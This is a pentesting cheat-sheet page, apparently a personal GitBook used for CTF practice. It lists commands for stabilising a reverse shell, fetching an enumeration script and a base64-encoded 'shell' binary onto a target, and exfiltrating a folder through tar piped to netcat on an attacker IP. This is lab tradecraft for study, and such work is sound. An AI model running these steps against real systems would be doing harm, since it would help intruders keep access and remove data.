GeorgeBanu
  • About me
  • Pentesting CheatSheets
    • Information Gathering
    • Ports Enumeration
      • FTP-21
      • SSH-22
      • Telnet-23
      • SMTP - 25,465,587
      • DNS-53
      • NetBIOS, SMB - 139,445
      • SNMP-161
      • MySQL-3306
      • RDP-3389
      • WinRM-5985
    • Web Cheat Sheet
    • Privilege Escalation
      • Linux Enumeration
      • Linux Privesc Techniques
    • Tricks
    • Template
  • TryHackMe Writeups
    • Starter
    • Dreaming
    • ColddBox: Easy
    • Ollie
    • Blog
    • KoTH Hackers
    • Brooklyn Nine Nine
    • Chill Hack
    • Undiscovered
    • Archangel
    • Jason
    • GLITCH
    • VulnNet: Node
    • Road
    • VulnNet:Internal
    • W1seGuy
  • CyberEDU Writeups
    • flag-is-hidden
    • file-crawler
    • reccon
    • this-file-hides-something
    • wifiland
    • old-tickets
    • inodat
    • pattern
    • ultra-crawl
  • eJPT
Powered by GitBook
On this page
  1. Pentesting CheatSheets

Tricks

  • Stabilize a shell

python -c 'import pty; pty.spawn("/bin/bash")' # rshell 
^Z
stty raw -echo # attack machine
fg # attack machine

echo $TERM # attack machine (another terminal)
stty size # attack machine(another terminal)

export TERM=xterm-256color # rshell
stty rows 45 columns 256  # rshell
  • transferring files

cd /tmp
# Using a Web server
python3 -m http.server 8000
wget http://10.10.14.1:8000/linenum.sh
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
# Using SCP
scp linenum.sh user@remotehost:/tmp/linenum.sh
# Using base64
base64 shell -w 0
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
# Validating the file by comparing the hash
md5sum shell # on my machine 
md5sum shell # remote machine
# Using Compresion
tar czf - $folder | nc $MY_IP $port
nc -lnvp $port | tar xvfz - 
  • SSL connection

# openssl
openssl s_client -connect $IP:$port -cert $certificate_file -key $key_file
# socat 
socat stdio ssl:$IP:$port,cert=$cert_file,key=$key_file,verify=0
PreviousLinux Privesc TechniquesNextTemplate

Last updated 1 year ago